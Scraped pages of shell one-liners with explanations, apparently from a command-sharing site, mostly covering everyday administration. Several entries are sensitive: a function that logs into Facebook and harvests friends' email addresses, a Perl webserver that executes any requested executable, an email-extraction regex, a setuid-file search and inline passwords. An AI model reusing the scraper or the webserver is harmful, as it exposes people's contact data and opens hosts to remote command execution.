Functions: grep tail wget
get the latest version
to download latest version of "util", maybe insert a sort if they wont be shown in right order.
curl lists all files on mirror, grep your util, tail -1 will gets the one lists on the bottom and get it with wget
‹ First < 72 73 74 75 76 > Last ›
cd `dirname $_`
iconv -f utf8 -t utf16 /path/to/file
Convert encoding of given files from one encoding to another
lsof -iTCP -sTCP:ESTABLISHED | awk '{print $1}' | sort -u
show all established tcp connections on os x
mount -o loop -t iso9660 my.iso /mnt/something
mount an iso
mounts an ISO file to a directory on the target file system
ls -1 /bin | xargs -l1 whatis 2>/dev/null | grep -v "nothing appropriate"
sed (1p) - stream editor
pwd (1) - print name of current/working directory
mount (2) - mount and unmount filesystems
ln (1) - make links between files
for newbies, how to get one line info about all /bin programs
Get simple description on each file from /bin dir, in list form, usefull for newbies.
tail -f access_log | cut -c2-21 | uniq -c
Realtime apache hits per second
Change the cut range for hits per 10 sec, minute and so on... Grep can be used to filter on url or source IP.
autossh -f -i /path/to/key -ND local-IP:PORT User@Server
Setup a persistant SSH tunnel w/ pre-shared key authentication
This creates a persistent ssh -i /path/to/key -ND local-IP:PORT User@Server connection. You may have to install autossh. -f puts in daemon mode. if you are having trouble, try it without -f.
N="filepath" ; P=/proc/$(lsof +L1 | grep "$N" | awk '{print $2}')/fd ; ls -l $P | sed -rn "/$N/s/.*([0-9]+) ->.*/\1/p" | xargs -I_ cat $P/_ > "$N"
Functions: awk cat grep ls sed xargs
restore the contents of a deleted file for which a descriptor is still available
Note that the file at the given path will have the contents of the (still) deleted file, but it is a new file with a new node number; in other words, this restores the data, but it does not actually "undelete" the old file.
I posted a function declaration encapsulating this functionality to http://www.reddit.com/r/programming/comments/7yx6f/how_to_undelete_any_open_deleted_file_in_linux/c07sqwe (please excuse the crap formatting).
perl -ne 'split /,/ ; $a+= $_[3]; END {print $a."\n";}' -f ./file.csv
export HISTCONTROL=ignoreboth
A bit of privacy in .bash_history
Moreover ignore duplicates from history.
To be set in .bashrc
ex.
$ export HISTCONTROL=ignoreboth
$ echo antani
$ history|grep -c antani
cat nicescript |ssh middlehost "cat | ssh -a root@securehost 'cat > nicescript'"
scp a good script from host A which has no public access to host C, but with a hop by host B
middlehost allows ssh access from where you are but not securehost.
Use nice ssh piping to simulate scp through A => B => C
setting up the shell function if left as an exercise for the reader. ;-)
Agent forwarding should avoid password typing.
awk '{avg += ($1 - avg) / NR;} END { print avg; }'
Compute running average for a column of numbers
This is an on-line algorithm for calculating the mean value for numbers in a column. Also known as "running average" or "moving average".
echo 'ServerAliveInterval 60' >> /etc/ssh/ssh_config
Avoids ssh timeouts by sending a keep alive message to the server every 60 seconds
ssh_config is the system-wide configuration file for ssh.
For per-user configuration, which allows for different settings for each host:
echo 'ServerAliveInterval 60' >> ~/.ssh/ssh_config
On OSX:
echo 'ServerAliveInterval 60' >> ~/.ssh/config
echo 'ServerAliveInterval 60' >> ~/etc/ssh_config
mv ubuntu-10.04-rc-desktop-amd64.iso ubuntu-10.04-desktop-amd64.iso; i=http://releases.ubuntu.com/10.04/ubuntu-10.04-desktop-amd64.iso.zsync; while true; do if wget $i; then zsync $i; date; break; else sleep 30; fi; done
Functions: mv sleep wget
Auto download Ubuntu 10.04 LTS with super fast zsync
Need to have rc iso pre-downloaded before running command.
p=$(echo "hello world, how r u?"|sed 's/ /+/g');wget -U Mozilla -q -O - "$@" translate.google.com/translate_tts?tl=en\&q=$p|mpg123 -
Functions: echo mpg123 sed wget
same but redirecting to player and putting whaever text line.. works on my ubuntu machine ...
find | sed -e "s/^.*\///" | awk ' BEGIN { FS=""} { print NF " " $0 } ' | sort -nrf | head -10
Functions: awk find head sed sort
get the top 10 longest filenames
a=`printf "%*s" 16`;b=${a//?/{0..1\}}; echo `eval "echo $b"`
Count to 65535 in binary (for no apparent reason)
Yes, it's useless.
file =top
zsh only: access a file when you don't know the path, if it is in PATH
Say you want to execute 'file' on the command 'top' (to determine what type of file it is); but you don't know where 'top' resides: preface the argument with = and zsh will implicitly prepend the path.
ssh-copy-id user@host
Same as original just no $ at start
openssl des3 -salt -in unencrypted-data.tar -out encrypted-data.tar.des3
enter des-ede3-cbc encryption password:
Verifying - enter des-ede3-cbc encryption password:
Encrypted archive with openssl and tar
The lifehacker way: http://lifehacker.com/software/top/geek-to-live--encrypt-your-data-178005.php#Alternate%20Method:%20OpenSSL
"That command will encrypt the unencrypted-data.tar file with the password you choose and output the result to encrypted-data.tar.des3. To unlock the encrypted file, use the following command:"
openssl des3 -d -salt -in encrypted-data.tar.des3 -out unencrypted-data.tar
ifconfig | awk '/HWaddr/ { print $NF }'
Functions: awk ifconfig
du -sb *|sort -nr|head|awk '{print $2}'|xargs du -sh
List top ten files/directories sorted by size
absolute_path () { readlink -f "$1"; };
Get the absolute path of a file
find /dir_name -mtime +5 -exec rm {} \
This command will delete files i a given path (/dir_name) , which older than given time in days (-mtime +5 will delete files older than five days.
ssh user@host "mysqldump -h localhost -u mysqluser -pP@$$W3rD databasename | gzip -cf" | gunzip -c > database.sql
Functions: gunzip ssh
Get a MySQL DB dump from a remote machine
This command will dump a database on a remote stream to stdout, compress it, stream it to your local machine, decompress it and put it into a file called database.sql.You could even pipe it into mysql on your local machine to restore it immediately. I had to use this recently because the server I needed a backup from didn't have enough disk space.
‹ First < 73 74 75 76 77 > Last ›
getfacl file1 | setfacl --set-file=- file2
same as the chmod example, but should also copy extended access control list attributes. deliberately stolen from:
man setfacl
usermod -a -G groupname username
Functions: usermod
Add existing user to a group
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 ? "./$1 |" : $1) if /^GET \/(.*) / })'
Perl Simple Webserver
First we accept a socket and fork the server. Then we overload the new socket as a code ref. This code ref takes one argument, another code ref, which is used as a callback.
The callback is called once for every line read on the socket. The line is put into $_ and the socket itself is passed in to the callback.
Our callback is scanning the line in $_ for an HTTP GET request. If one is found it parses the file name into $1. Then we use $1 to create an new IO::All file object... with a twist. If the file is executable("-x"), then we create a piped command as our IO::All object. This somewhat approximates CGI support.
Whatever the resulting object is, we direct the contents back at our socket which is in $_[0].
curl -I http://localhost
Send an http HEAD request w/curl
sed -r "s/\x1B\[([0-9]{1,3}((;[0-9]{1,3})*)?)?[m|K]//g
Removes ANSI color and end of line codes to the [{attr1};...;{attrn}m format.
dig +trace google.com
Trace a DNS query from root to the authoritive servers.
Simple command to trace a DNS query from the root all the way to the authoritative servers.
vimdiff tera.py <(ssh -A testserver "cat tera.py")
vimdiff to remotehost
vimdiff to remotehost
sudo find / -user root -perm -4000 -print
Find files with root setuids settings
sudo pmset schedule sleep "08/31/2009 00:00:00"
Functions: sleep sudo
Mac Sleep Timer
Schedule your Mac to sleep at any future time.
Also wake, poweron, shutdown, wakeorpoweron. Or repeating with
sudo pmset repeat wakeorpoweron MTWRFSU 7:00:00
Query with
pmset -g sched
Lots more at http://www.macenterprise.org/articles/powermanagementandschedulingviathecommandline
find /tmp -type f -printf 'rm "%p";\n'
take a look to command before action
add |sh when you agree the list, I often use that method to prevent typos in dangerous or long operations
cat /path/to/7z.sfx /path/to/archive > archive.exe
Create a self-extracting archive for win32 using 7-zip
using `cat` under *NIX - just because you help manage M$ Windoze
*doesn't* mean you should have to resort to using it!
You can also make custom win32 installers with the 7zip "extras" package:
cat /path/to/7zSD.sfx /path/to/config.txt /path/to/archive > setup.exe
tzwatch
Fri Aug 7 18:23:49 PDT 2009 Local
Sat Aug 8 11:23:49 EST 2009 Australia/Sydney
Sat Aug 8 02:23:49 WEST 2009 Europe/Lisbon
Sat Aug 8 02:23:49 BST 2009 Europe/London
get time in other timezones
On Ubuntu, if tzwatch is installed, then you can call up in terminal the output for every time zone configured in gWorldClock.
find . -size +10240k -exec ls -l {} \; | awk '{ print $5,"",$9 }'|sort -rn > message.out
18932792 ./scrip5.sql
16632595 ./scrip1.sql
Find all the files more than 10MB, sort in descending order of size and record the output of filenames and size in a text file.
This command specifies the size in Kilobytes using 'k' in the -size +(N)k option. The plus sign says greater than. -exec [cmd] {} \; invokes ls -l command on each file and awk strips off the values of the 5th (size) and the 9th (filename) column from the ls -l output to display. Sort is done in reversed order (descending) numerically using sort -rn options.
A cron job could be run to execute a script like this and alert the users if a dir has files exceeding certain size, and provide file details as well.
echo "Whatever you need" | sudo tee [-a] /etc/system-file.cfg
$ echo "74.125.45.100 google.com" >> /etc/hosts
bash: /etc/hosts: Permission denied
$ sudo echo "74.125.45.100 google.com" >> /etc/hosts
$ echo "74.125.45.100 google.com" | sudo tee -a /etc/hosts
Tweak system files without invoking a root shell
only for sudo-style systems.
Use this construct instead of I/O re-directors ``>'' or ``>>'' because
sudo only elevates the commands and *not* the re-directors.
***warning: remember that the `tee` command will clobber
file contents unless it is given the ``-a'' argument
Also, for extra security, the "left" command is still run unprivileged.
find /home -uid 1056 -exec chown 2056 {} \;
Functions: chown find
Change the ownership of all files owned by one user.
Finds all files in /home owned by UID 1056 and changes to 2056.
egrep -ci ^[aoeuidhtns-]+$ /usr/share/dict/words
$ wc -l /usr/share/dict/words
98569 /usr/share/dict/words
$ egrep -ci "^[aoeuidhtns-]+$" /usr/share/dict/words
1969
$ egrep -ci "^[asdfghjkl\;\']+$" /usr/share/dict/words
Show the power of the home row on the Dvorak Keyboard layout
Quick and dirty command that counts how many words can be typed just using the home row on the Dvorak Simplified Keyboard layout from a dictionary file, in this case /usr/share/dict/words.
According to the regular expression supplied, each word must contain all the keys on the Dvorak home row, and no other characters. For comparison, I've shown how many words are installed in my dictionary, how many can be typed with just the Dvorak home row and how many can be typed with just the QWERTY home row in the sample output. Nearly 10 times the amount.
If you want to see the words, remove the -c switch, and each word will be printed out.
function nowrap { export COLS=`tput cols` ; cut -c-$COLS ; unset COLS ; }
ps auxwww |nowrap
Functions: cut export unset
no more line wrapping in your terminal
works on all unices.
mkdir !*
~$ cd Desktop/Notes
Error: No such file or directory.
~$ mkdir -v !*
mkdir: The directory ?Desktop/Notes? has been created.
~$ !-2
Use the arguments used in the last command
Very basic, but who knows..
mkdir !$ should work too, only uses 'the last' argument.
!-2 executes cd Desktop/Notes again.
More tips in 'man history'
q a ...vim commands... q (to record macro) @a (plays macro 'a').
Create and replay macros in vim
You can record, then replay a series of keystrokes in vim. In command mode 'q', then a letter [a-zA-Z] starts macro recording mode. Enter a series of vim commands. When done, enter command mode again, and press 'q' to stop recording.
To replay, enter command mode, then press @{letter}
strings /dev/mem|less
Functions: strings
find . -type d -name .svn -delete
Recursively remove .svn directories
$ mplayer -dumpaudio -dumpfile .mp3 .flv
grep -Eio '([[:alnum:]_.]+@[[:alnum:]_]+?\.[[:alpha:].]{2,6})' file.html
foo@bar.com
banana@coconutz.eu
find all email addresses in a file, printing each match. Addresses do not have to be alone on a line etc. For example you can grab them from HTML-formatted emails or CSV files, etc. Use a combination of
...|sort|uniq$
to filter them.
Every 2,0s: vmstat -sSM Fri Dec 4 23:32:13 2009
Monitor memory usage
Monitor with watch command and vmstat, memory usage
dig +short $HOSTNAME
Get your external IP address if your machine has a DNS entry
‹ First < 74 75 76 77 78 > Last ›
ssh -t server 'cd /etc && $SHELL'
ssh: change directory while connecting
Useful to create an alias that sends you right in the directory you want :
alias server-etc="ssh -t server 'cd /etc && $SHELL'"
find . -type d -name .svn -execdir rm -rf {} +
Recursively remove .svn directories from a local repository
hex() { bc <<< "obase=16; $1"; }
$ hex 65535
FFFF
Use the standard calculator bc to convert decimals to hex
ARRAY=(aa bb cc);echo ${ARRAY[1]}
split a string (1)
git add --patch
Stage only portions of the changes to a file.
svn ci `svn stat |awk '/^A/{printf $2" "}'`
Functions: awk stat
Commit only newly added files to subversion repository
fortune | cowsay -f $(ls /usr/share/cowsay/cows/ | shuf -n1)
_____________________________________
/ Change your thoughts and you change \
\ your world. /
-------------------------------------
.!!!!!:. .:!!!!!!!!!!!!
~~~~!!!!!!. .:!!!!!!!!!UWWW$$$
Have a random "cow" say a random thing
You need to have fortune and cowsay installed. It uses a subshell to list cow files in you cow directory (this folder is default for debian based systems, others might use another folder).
you can add it to your .bashrc file to have it great you with something interesting every time you start a new session.
cu -s 9600 -l /dev/ttyS0
cu (call UNIX) establishes a full-duplex connection to another machine (*BSD) using a serial console.
man cu
http://www.openbsd.org/cgi-bin/man.cgi?query=cu&apropos=0&sektion=0&manpath=OpenBSD+Current&arch=i386&format=html
svn list -R https://repository.com --xml >> svnxxmlinfo.xml
images/test.gif950admin2008-11-04T21:57:26.334829Z
Output a list of svn repository entities to xml file
I use this to pull the last commit date for everything in my repo, so I can tell the client which files haven't been touched or updated since the repo was created. Another way to do it is to use svn log, but that does not pull the "kind" attribute. It does, however, give you the commit message. Both are very useful.
curl -u USER:PASS -d status="NEW STATUS" http://identi.ca/api/statuses/update.xml
identica is an open source social networking and micro-blogging service. Based on Laconica, a micro-blogging software package built on the OpenMicroBlogging specification.
http://identi.ca/
rsync -a --link-dest=/media/backup/$HOSTNAME/$PREVDATE '--exclude=/[ps][ry][os]' --exclude=/media/backup/$HOSTNAME / /media/backup/$HOSTNAME/$DATE/
How to backup hard disk timely?
Creates files in $DATE and hardlinks existing files to $PREVDATE. Thus full backup in each directory. Only drawback is changed modification time. Recommend a wrapper script to determine $DATE and $PREVDATE. Works like a charm. (Dirvish handrolled)
( x=`tput op` y=`printf %$((${COLUMNS}-6))s`;for i in {0..256};do o=00$i;echo -e ${o:${#o}-3:3} `tput setaf $i;tput setab $i`${y// /=}$x;done; )
$ ( x=`tput op` y=`printf %$((${COLUMNS}-6))s`;for i in {0..256};do o=00$i;echo -e ${o:${#o}-3:3} `tput setaf $i;tput setab $i`${y// /=}$x;done; )
000 ================================================================================================================================================================================
001 ================================================================================================================================================================================
002 ================================================================================================================================================================================
003 ================================================================================================================================================================================
004 ================================================================================================================================================================================
005 ================================================================================================================================================================================
006 ================================================================================================================================================================================
007 ================================================================================================================================================================================
008 ================================================================================================================================================================================
009 ================================================================================================================================================================================
010
Print all 256 colors for testing TERM or for a quick reference
This is super fast and an easy way to test your terminal for 256 color support. Unlike alot of info about changing colors in the terminal, this uses the ncurses termcap/terminfo database to determine the escape codes used to generate the colors for a specific TERM. That means you can switch your terminal and then run this to check the real output.
tset xterm-256color
at any rate that is some super lean code!
Here it is in function form to stick in your .bash_profile
aa_256 ()
( x=`tput op` y=`printf %$((${COLUMNS}-6))s`;
for i in {0..256};
do
o=00$i;
echo -e ${o:${#o}-3:3} `tput setaf $i;tput setab $i`${y// /=}$x;
done )
From my bash_profile: http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html
cat /sys/class/net/*/address
00:23:54:19:c8:bc
0a:00:27:00:00:00
No need for the ls -r and a sort is also not really needed.
pkill -u `whoami`
This will probably kill any user sessions and/or ssh connections to other servers you might have active.
lynx -dump somefile.html
Takes an html file and outputs plain text from it
LD_TRACE_LOADED_OBJECTS=1 name_of_executable
LD_TRACE_LOADED_OBJECTS=1 dropbear
print shared library dependencies
May be used on (embedded) systems lack ldd
date +%s
1234531837
Unixtime
displays time in seconds since January 1, 1970 UTC
sudo fc-cache -f -v
gnu@robby:~/.fonts$ sudo fc-cache -f -v
/usr/share/fonts: caching, new cache contents: 0 fonts, 4 dirs
/usr/share/fonts/X11: caching, new cache contents: 0 fonts, 6 dirs
/usr/share/fonts/X11/100dpi: caching, new cache contents: 0 fonts, 0 dirs
/usr/share/fonts/X11/75dpi: caching, new cache contents: 0 fonts, 0 dirs
/usr/share/fonts/X11/Type1: caching, new cache contents: 83 fonts, 0 dirs
/usr/share/fonts/X11/encodings: caching, new cache contents: 0 fonts, 1 dirs
/usr/share/fonts/X11/encodings/large: caching, new cache contents: 0 fonts, 0 dirs
/usr/share/fonts/X11/misc: caching, new cache contents: 0 fonts, 0 dirs
/usr/share/fonts/X11/util: caching, new cache contents: 0 fonts, 0 dirs
/usr/share/fonts/cmap: caching, new cache contents: 0 fonts, 0 dirs
/usr/share/fonts/truetype: caching, new cache contents: 0 fonts, 16 dirs
/usr/share/fonts/truetype/arphic: caching, new cache contents: 12 fonts, 0 dirs
/usr/share/fonts/truetype/freefont: caching, new cache contents: 12 fonts, 0 dirs
/usr/share/fonts/truetype/kochi: caching, new cache contents: 4 fonts, 0 dirs
/usr/share/fonts/truetype/latex-xft-fonts: caching, new cache contents: 7 fonts, 0 dirs
/usr/share/fonts/truetype/openoffice: caching, new cache contents: 1 fonts, 0 dirs
/usr/share/fonts/truetype/thai: caching, new cache contents: 51 fonts, 0 dirs
/usr/share/fonts/truetype/ttf-arabeyes: caching, new cache contents: 39 fonts, 0 dirs
/usr/share/fonts/truetype/ttf-bitstream-vera: caching, new cache contents: 10 fonts, 0 dirs
/usr/share/fonts/truetype/ttf-dejavu: caching, new cache contents: 21 fonts, 0 dirs
/usr/share/fonts/truetype/ttf-indic-fonts-core: caching, new cache contents: 11 fonts, 0 dirs
/usr/share/fonts/truetype/ttf-lao: caching, new cache contents: 1 fonts, 0 dirs
/usr/share/fonts/truetype/ttf-liberation: caching, new cache contents: 12 fonts, 0 dirs
/usr/share/fonts/truetype/ttf-sil-yi: caching, new cache contents: 1 fonts, 0 dirs
/usr/share/fonts/truetype/unfonts: caching, new cache contents: 4 fonts, 0 dirs
/usr/share/fonts/truetype/unifont: caching, new cache contents: 1 fonts, 0 dirs
/usr/share/fonts/truetype/wqy: caching, new cache contents: 1 fonts, 0 dirs
/usr/share/fonts/type1: caching, new cache contents: 0 fonts, 1 dirs
/usr/share/fonts/type1/gsfonts: caching, new cache contents: 35 fonts, 0 dirs
/usr/share/X11/fonts: skipping, no such directory
/usr/local/share/fonts: caching, new cache contents: 0 fonts, 0 dirs
/home/gnu/.fonts: caching, new cache contents: 31 fonts, 0 dirs
/usr/share/texmf/fonts/type1/public/lm: caching, new cache contents: 92 fonts, 0 dirs
/usr/share/fonts/truetype/ttf-malayalam-fonts: skipping, no such directory
/var/cache/fontconfig: cleaning cache directory
/home/gnu/.fontconfig: cleaning cache directory
fc-cache: succeeded
Functions: fc-cache sudo
Refresh the cache of font directory
Refresh the cache of font directory , usefull after you download font (.ttf or other) from various website and you don't want to reboot or relogin . Close your word processor before using the command , after the refresh reopen your word processor , new fonts is avaible !
totem-video-thumbnailer -pg 25 in_video out_png
Thumbnail created
video thumbnail gallery
thumbnail gallery of video using totem
find /usr/ -type l ! -xtype f ! -xtype d -ok rm -f {} \;
< rm ... /usr/x86_64-pc-linux-gnu/gcc-bin/3.4.4/gcc > ?
Eliminate dead symlinks interactively in /usr/ recursevely
Its not mine... I get from textlive migration in gentoo : http://www.gentoo.org/proj/en/tex/texlive-migration-guide.xml
wget -qO - "http://ajax.googleapis.com/ajax/services/language/translate?langpair=|en&v=1.0&q=`xsel`" |cut -d \" -f 6
Functions: cut wget
translate what is in the clipboard in english and write it to the terminal
Uses google api to translate, you can modify the language in which translate modifying the parameter "langpair=|en", the format is language input|language output.
ls `echo $PATH | sed 's/:/ /g'`
ls `echo $PATH | sed 's/:/ /g'`
/bin:
bash dmesg mount sh.distrib
bunzip2 dnsdomainname mountpoint sleep
bzcat dumpkeys mt stty
bzcmp echo mt-gnu su
mii-diag vpddecode
mkboot vpnc
mkinitramfs vpnc-connect
mkinitramfs-kpkg vpnc-disconnect
mklost+found vsftpd
mksmbpasswd winbindd
mysqld xresprobe
mysqlmanager zic
list all executables in your path
If run in bash, this will display all executables that are in your current $PATH
old='apt-get'; new="su-${old}"; command="sudo ${old}"; alias "${new}=${command}"; $( complete | sed -n "s/${old}$/${new}/p" ); alias ${new}; complete -p ${new}
# at the beginning
$ sudo apt-get in # gives "sudo apt-get install" (smart completion)
# then su-apt-get='sudo apt-get'
$ su-apt-get in # gives "su-apt-get in" (no completion)
# finally with given command
$ su-apt-get in # gives "su-apt-get install" (smart completion \o/)
Functions: alias sed
In Bash, when defining an alias, one usually loses the completion related to the function used in that alias (that completion is usually defined in /etc/bash_completion using the complete builtin).
It's easy to reuse the work done for that completion in order to have smart completion for our alias.
That's what is done by this command line (that's only an example but it may be very easy to reuse).
Note 1 : You can use given command line in a loop "for old in apt-get apt-cache" if you want to define aliases like that for many commands.
Note 2 : You can put the output of the command directly in your .bashrc file (after the ". /etc/bash_completion") to always have the alias and its completion
curl -s icanhazip.com
Get your external ip adress thanks to http://www.icanhazip.com
wget -q http://xyz.gpg -O- | sudo apt-key add -
Functions: sudo wget
add a gpg key to aptitute package manager in a ubuntu system
when we add a new package to a aptitude (the debian package manager) we need to add the gpg, otherwise it will show warning / error for missing key
‹ First < 75 76 77 78 79 > Last ›
for x in `seq 0 25 $(curl "http://www.commandlinefu.com/commands/browse"|grep "Terminal - All commands" |perl -pe 's/.+(\d+),(\d+).+/$1$2/'|head -n1)`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done > a.txt
Functions: grep head perl
'jot' does not come with most *nix distros, so we need to use seq to make it work. This version tested good on Fedora 11.
command -v bash
it is generally advised to avoid using which(1) whenever possible. which(1) is usually a csh(1) script, or sometimes a compiled binary. It's output is highly variable from operating system to operating system, so platform independent scripts could become quite complicated with the logic. On HP-UX 10.20, for example, it prints "no bash in /path /path /path ..."; on OpenBSD 4.1, it prints "bash: Command not found."; on Debian (3.1 through 5.0 at least) and SuSE, it prints nothing at all; on Red Hat 5.2, it prints "which: no bash in (/path:/path:...)"; on Red Hat 6.2, it writes the same message, but on standard error instead of standard output; and on Gentoo, it writes something on stderr. And given all these differences, it's still variable based on your shell. This is why POSIX is king. See http://mywiki.wooledge.org/BashFAQ/081 for more ways on avoiding which(1).
jhead -n%Y%m%d-%H%M%S *.jpg
09:17:50 sita-wd:jhead-test $ ls -al
total 5824
-rw-r----- 1 sitaram sitaram 862814 2009-08-10 09:17 img_3140.jpg
-rw-r----- 1 sitaram sitaram 659554 2009-08-10 09:17 img_3141.jpg
-rw-r----- 1 sitaram sitaram 842226 2009-08-10 09:17 img_3142.jpg
-rw-r----- 1 sitaram sitaram 757260 2009-08-10 09:17 img_3143.jpg
-rw-r----- 1 sitaram sitaram 603396 2009-08-10 09:17 img_3144.jpg
-rw-r----- 1 sitaram sitaram 756835 2009-08-10 09:17 img_3145.jpg
-rw-r----- 1 sitaram sitaram 790922 2009-08-10 09:17 img_3146.jpg
-rw-r----- 1 sitaram sitaram 660837 2009-08-10 09:17 img_3149.jpg
09:17:52 sita-wd:jhead-test $ jhead -n%Y%m%d-%H%M%S *.jpg
img_3140.jpg --> 20060121-114040.jpg
img_3141.jpg --> 20060121-114102.jpg
img_3142.jpg --> 20060121-114154.jpg
img_3143.jpg --> 20060121-114158.jpg
img_3144.jpg --> 20060121-114202.jpg
img_3145.jpg --> 20060121-114207.jpg
img_3146.jpg --> 20060121-114214.jpg
img_3149.jpg --> 20060121-114823.jpg
09:17:57 sita-wd:jhead-test $ ls -al
-rw-r----- 1 sitaram sitaram 862814 2009-08-10 09:17 20060121-114040.jpg
-rw-r----- 1 sitaram sitaram 659554 2009-08-10 09:17 20060121-114102.jpg
-rw-r----- 1 sitaram sitaram 842226 2009-08-10 09:17 20060121-114154.jpg
-rw-r----- 1 sitaram sitaram 757260 2009-08-10 09:17 20060121-114158.jpg
-rw-r----- 1 sitaram sitaram 603396 2009-08-10 09:17 20060121-114202.jpg
-rw-r----- 1 sitaram sitaram 756835 2009-08-10 09:17 20060121-114207.jpg
-rw-r----- 1 sitaram sitaram 790922 2009-08-10 09:17 20060121-114214.jpg
-rw-r----- 1 sitaram sitaram 660837 2009-08-10 09:17 20060121-114823.jpg
09:18:00 sita-wd:jhead-test $
Picture Renamer
jhead is a very nice tool to do all sorts of things with photographs, in a batch-oriented way. It has a specific function to rename files based on dates, and the format I used above was just an example.
fbemailscraper YourFBEmail Password
fbemailscraper () { email="$1" ; password="$2" ; id="$(curl -m 5 --retry 1 -c /tmp/cookies -A "Opera" -Ls -d "email=$email&pass=$password&persistent=1" "https://login.facebook.com/login.php?m&next=http://m.facebook.com/profile.php" | grep -o "\&am\p\;id=.*&am\p;v=feed\&am\p;refid=17" | sed -e "s/.*profile.*id=\(.*\)\&am\p\;v=feed.*/\1/g")" ; curl -m 5 --retry 1 -b /tmp/cookies -Ls -A "Opera" "http://www.facebook.com/ajax/typeahead_friends.php?u=$id&__a=1" | tr "\"" "\n" | grep facebook | tr -d "\\\\" | sed "s/www/m/g" | awk '{print $0 "?v=info&refid=17"}' | sed "/profile.php/s/?v=info/\&v=info/g" | while read line ; do curl -m 5 --retry 1 -b /tmp/cookies -A "Opera" -Ls "$line" | tr \< "\n" | tr \> "\n" | grep "@.*\." | grep -v " " ; done ; rm /tmp/cookies ; }
Facebook Email Scraper
(Apparently it is too long so I put it in sample output, I hope that is OK.)
Run the long command (or put it in your .bashrc) in sample output then run:
Voila! Your contacts' emails will appear.
Facebook seems to have gotten rid of the picture encoding of emails and replaced it with a text based version making it easy to scrape!
Needs curl to run and it was made pretty quickly so there might be bugs.
Show sample output | Comments (24) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
for d in `find .. -mindepth 1 -maxdepth 1 -type d | sort`; do if [[ `basename $d` > `basename $PWD` ]]; then cd $d; break; fi; done
Go to the next sibling directory in alphabetical order
Sometimes you have to browse your way through a lot of sub-directories. This command cd to the next sub-directory in alphabetical order. For example, if you have the directories "lectures/01-intro", "lectures/02-basic", "lectures/03-advanced" and so on, and your PWD is "02-basic", it jumps to "03-advanced".
echo "Keyword?";read keyword;query="http://www.shoutcast.com/sbin/newxml.phtml?search="$keyword"";curl -s $query |awk -F '"' 'NR <= 4 {next}NR>15{exit}{sub(/SHOUTcast.com/,"http://yp.shoutcast.com/sbin/tunein-station.pls?id="$6)}{print i++" )"$2}'
0 )friskyRadio feelin frisky? [Dance, Trance, House and Techno] - [http://yp.shoutcast.com/sbin/tunein-station.pls?id=1745]
1 )Chillout Dreams - D I G I T A L L Y - I M P O R T E D - relax to the sounds of dream and ibiza style - [http://yp.shoutcast.com/sbin/tunein-station.pls?id=7307]
2 )1.FM - The Chillout Lounge - [http://yp.shoutcast.com/sbin/tunein-station.pls?id=5513]
3 )#MUSIK.LOUNGE - WWW.RAUTEMUSIK.FM - 24H CHILLOUT AMBIENT SMOOTH JAZZ DOWNTEMPO LATIN SOUL AND MORE! - [http://yp.shoutcast.com/sbin/tunein-station.pls?id=2477]
4 )PsyChill - D I G I T A L L Y - I M P O R T E D - downtempo psychedelic dub grooves, goa ambient, and - [http://yp.shoutcast.com/sbin/tunein-station.pls?id=9621]
5 )4CLUBBERS - [http://yp.shoutcast.com/sbin/tunein-station.pls?id=94142]
6 )Chilltrax - The World's Chillout Channel - [http://yp.shoutcast.com/sbin/tunein-station.pls?id=8734]
7 )Ambient - D I G I T A L L Y - I M P O R T E D - a blend of ambient, downtempo, and chillout - [http://yp.shoutcast.com/sbin/tunein-station.pls?id=46573]
8 )ZenRadio.FM: Zen Radio (tm) - Relaxation Meditation Concentration Peace Yoga Relaxare Chillout Loung - [http://yp.shoutcast.com/sbin/tunein-station.pls?id=2979]
9 )Mountain Chill - The Planet's Destination for Chill - [http://yp.shoutcast.com/sbin/tunein-station.pls?id=4324]
Search shoutcast web radio by keyword
Searches for web radio by submitted keyword and returns the station name and the link for listing .
May be enhanced to read user's selection and submit it to mplayer.
curl -s wap.kitco.com/exrate.wml | awk ' BEGIN { x=0; FS = "<" } { if ($0~"^ ") {x=0} if (x==1) {print $1} if ($0~"EUR/US") {x=1} }'
0.7007
Get Dollar-Euro exchage rate
You can get others rates changing the "EUR/US" part. look at the url: wap.kitco.com/exrate.wml to get more options.
type
root@fs3:~# type nvgui
nvgui is /usr/bin/nvgui
root@serv:~# type rm
rm is /bin/rm
root@fs3:~# type alias
alias is a shell builtin
root@serv:~#
search for a file in PATH
Also searches for aliases and shell builtins
ps axo rss,comm,pid | awk '{ proc_list[$2]++; proc_list[$2 "," 1] += $1; } END { for (proc in proc_list) { printf("%d\t%s\n", proc_list[proc "," 1],proc); }}' | sort -n | tail -n 10
2472 NetworkManager
3624 getty
3888 hald
3948 nm-system-setti
3968 gdm
4012 bash
6384 sshd
14348 apache2
20560 console-kit-dae
22104 mysqld
Functions: awk ps sort tail
Top ten (or whatever) memory utilizing processes (with children aggregate)
This command loops over all of the processes in a system and creates an associative array in awk with the process name as the key and the sum of the RSS as the value. The associative array has the effect of summing a parent process and all of it's children. It then prints the top ten processes sorted by size.
find . -name '*'.tiff -exec bash -c "mogrify -format jpg -quality 85 -resize 75% {} && rm {}" \;
Recursively Find Images, Convert to JPEGS and Delete
Simple command to convert a large number of images into jpeg-format. Will delete originals after conversion.
curl -s -u user:password 'http://twitter.com/statuses/friends_timeline.xml?count=5' | xmlstarlet sel -t -m '//status' -v 'user/screen_name' -o ': ' -v 'text' -n
Get your Tweets from the command line
Gets the latest Tweets in your friends timeline from Twitter. Uses curl and xmlstarlet.
mv -- -filename filename
Bash: escape '-' character in filename
iptables -t nat -A OUTPUT -d ! 10.0.0.0/8 -p tcp --dport 80 -j DNAT --to-destination 10.1.1.123:3128
Tired of switching between proxy and no proxy? here's the solution.
Replace 10.0.0.0/8 with your largest local subnet. replace 10.1.1.123:3128 with your proxy information.. Note this only works with a proxy server configured for passive setup..
Now your firefox transparently proxy's stuff destined outside your network.. and Doesn't proxy stuff inside your network. as well as all your other favorite web applications. curl, wget, aria2 ect.
watch "ps auxw | grep 'defunct' | grep -v 'grep' | grep -v 'watch'"
Shows all those processes; useful when building some massively forking script that could lead to zombies when you don't have your waitpid()'s done just right.
transcode -i myvideo.avi -x mplayer="-sub myvideo.srt" -o myvideo_subtitled.avi -y xvid
Print permanent subtitles on a video
It prints myvideo.srt subtitle files in myvideo.avi, saving it in myvideo_subtitled.avi
